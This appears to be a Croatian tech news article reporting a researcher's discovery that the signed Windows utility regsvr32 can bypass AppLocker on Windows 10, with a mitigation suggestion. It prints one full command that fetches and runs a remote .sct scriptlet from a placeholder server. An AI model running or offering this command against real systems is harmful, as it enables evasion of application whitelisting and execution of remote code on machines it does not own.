Istraživač iz Kolorada koji ide pod imenom, Casey Smith, otkrio je da se Regsvr32 može koristiti za zaobilaženje AppLocker-a na Windowsu 10, a ovo je veliki problem za korisnike računala, posebno one u poslovnom okruženju.

AppLocker je prvi put predstavljen u sustavima Windows 7 i Windows Server 2008 R2. Dizajniran je tako da administratorima mogu odrediti koja grupa ili korisnici mogu iskoristiti neke ili sve aplikacije na temelju jedinstvenog identiteta datoteka. Ako ste osoba koja ima tendenciju upotrebe AppLocker-a, tada bi trebalo biti poznato da se pomoću njega mogu stvoriti određena pravila koja će omogućiti da se aplikacije pokreću ili zaustavljaju u njihovim zapisima.

Za one koji možda nisu svjesni, Regvr32 se može koristiti za registraciju i odjavljivanje DLL-ova. Ovo nije alat s jednim klikom jer se radi o uslužnom programu naredbenog retka, pa bi samo napredni korisnici računala trebali nastojati iskoristiti ono što nudi.

Razumijemo da upotrebom ove tehnike to ne mijenja registar računalnog sustava, što otežava administracijama da znaju jesu li napravljene neke promjene.

regsvr32 / s / n / u /i:http://server/file.sct scrobj.dll

"Iznenađujuća stvar je ta što je regsvr32 već svjestan proxyja, koristi TLS, slijedi preusmjeravanja itd. … I … Pogodili ste za potpisani, zadani MS binarni zapis. Dakle, sve što trebate učiniti je ugostiti svoju.sct datoteku na mjestu koje kontrolirate “, napisao je Smith.

Navedena tehnika ne zahtijeva administrativne privilegije i ne mijenja registar. Nadalje, skripte se mogu pozivati ​​i preko HTTP-a ili HTTPS-a. Microsoft trenutno nije izdao zakrpu zbog ovog malog problema, tako da je jedina opcija u ovom trenutku blokiranje Regsvr32 putem Windows vatrozida.

Zanimljivo je da softverski div još uvijek nije odgovorio na ovaj sigurnosni problem koji stoji pred svojim operativnim sustavom. Sada kada je ona na otvorenom, očekujemo da ćemo čuti nešto od tvrtke, zajedno s razgovorima o budućnosti.